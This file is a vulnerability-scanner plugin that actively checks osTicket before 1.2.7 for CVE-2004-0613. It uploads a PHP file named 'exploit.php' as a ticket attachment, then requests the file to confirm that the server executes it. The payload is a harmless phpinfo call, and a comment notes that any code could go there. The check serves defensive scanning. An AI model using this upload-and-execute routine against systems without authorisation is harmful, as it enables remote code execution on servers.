osTicket < 1.2.7 Attachment Code Execution Vulnerability - Active Check

# Copyright (C) 2005 George A. Theall
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:osticket:osticket";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.13645");
  script_version("2022-05-05T09:07:46+0000");
  script_tag(name:"last_modification", value:"2022-05-05 09:07:46 +0000 (Thu, 05 May 2022)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2004-0613");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("osTicket < 1.2.7 Attachment Code Execution Vulnerability - Active Check");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2004 George A. Theall");
  script_family("Web application abuses");
  script_dependencies("osticket_http_detect.nasl", "no404.nasl");
  script_mandatory_keys("osticket/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"The target is running at least one instance of osTicket that
  enables a remote user to open a new ticket with an attachment containing arbitrary PHP code and
  then to run that code using the permissions of the web server user.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"solution", value:"Apply FileTypes patch or update to osTicket STS 1.2.7 or
  later.");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit(0);

if( dir == "/" )
  dir = "";

url = dir + "/open.php";

req = http_get( item:url, port:port);
res = http_keepalive_send_recv( port:port, data:req );
if( isnull( res ) )
  exit( 0 );

host = http_host_name( port:port );
mailHost = get_host_name();

if( http_get_no404_string( port:port, host:mailHost ) )
  exit( 0 );

# If the form supports attachments...
if( egrep( pattern:'type="file" name="attachment"', string:res, icase:TRUE ) ) {
  #  Grab the session cookie.
  pat = "Set-Cookie: (.+); path=";
  matches = egrep( pattern:pat, string:res, icase:TRUE );

  foreach match( split( matches ) ) {
    match = chomp( match );
    cookie = eregmatch( pattern:pat, string:match );
    if( isnull( cookie ) )
      break;

    cookie = cookie[1];
  }

  # Open a ticket as long as we have a session cookie.
  if( cookie ) {
    boundary = "bound";
    req = string("POST ",  url, " HTTP/1.1\r\n",
                 "Host: ", host, "\r\n",
                 "Cookie: ", cookie, "\r\n",
                 "Content-Type: multipart/form-data; boundary=", boundary, "\r\n");
                 # nb: we'll add the Content-Length header and post data later.

    boundary = string("--", boundary);

    postdata = string(boundary, "\r\n",
                      'Content-Disposition: form-data; name="name"', "\r\n",
                      "\r\n",
                      "vttest\r\n",
                      boundary, "\r\n",
                      'Content-Disposition: form-data; name="email"', "\r\n",
                      "\r\n",
                      "postmaster@", mailHost, "\r\n",
                      boundary, "\r\n",
                      'Content-Disposition: form-data; name="phone"', "\r\n",
                      "\r\n",
                      "\r\n",
                      boundary, "\r\n",
                      'Content-Disposition: form-data; name="cat"', "\r\n",
                      "\r\n",
                      "4\r\n",
                      boundary, "\r\n",
                      'Content-Disposition: form-data; name="subject"', "\r\n",
                      "\r\n",
                      "Attachment Upload Test\r\n",
                      boundary, "\r\n",
                      'Content-Disposition: form-data; name="message"', "\r\n",
                      "\r\n",
                      "Attempt to open a ticket and attach a file with executable code.\r\n",
                      boundary, "\r\n",
                      'Content-Disposition: form-data; name="pri"', "\r\n",
                      "\r\n",
                      "1\r\n",
                      boundary, "\r\n",
                      'Content-Disposition: form-data; name="MAX_FILE_SIZE"', "\r\n",
                      "\r\n",
                      "1048576\r\n",
                      boundary, "\r\n",
                      'Content-Disposition: form-data; name="attachment"; filename="exploit.php"', "\r\n",
                      "Content-Type: text/plain\r\n",
                      "\r\n",
                      # NB: This is the actual exploit code; you could put pretty much anything you want here.
                      "<?php phpinfo() ?>\r\n",
                      boundary, "\r\n",
                      'Content-Disposition: form-data; name="submit_x"', "\r\n",
                      "\r\n",
                      "Open Ticket\r\n",
                      boundary, "--", "\r\n");

    req = string(req, "Content-Length: ", strlen(postdata), "\r\n", "\r\n", postdata);
    res = http_keepalive_send_recv( port:port, data:req );
    if( isnull( res ) )
      exit( 0 );

    # Grab the ticket number that was issued.
    pat = 'name="login_ticket" .+ value="(.+)">';
    if( matches = egrep(pattern:pat, string:res, icase:TRUE ) ) {
      foreach match( split( matches ) ) {
        match = chomp( match );
        ticket = eregmatch( pattern:pat, string:match );
        if( isnull( ticket ) )
          break;

        ticket = ticket[1];
      }

      if( ticket ) {
        # Run the attachment we just uploaded.
        url = dir + "/attachments/" + ticket + "_exploit.php";
        req = http_get( item:url, port:port );
        res = http_keepalive_send_recv( port:port, data:req );
        if( isnull( res ) )
          exit( 0 );

        if( egrep( pattern:"^HTTP/1\.[01] 200", string:res, icase:TRUE ) ) {
          desc = "The Scanner successfully opened ticket #" + ticket + ' and uploaded\n' +
                 "an exploit as " + ticket + "_exploit.php to osTicket's attachment" + '\n' +
                 'directory. You are strongly encouraged to delete this attachment\n' +
                 'as soon as possible as it can be run by anyone who accesses.\n' +
                 'it remotely.';
          security_message( port:port, data:desc );
          exit( 0 );
        }
      }
    }
  }
}

exit( 99 );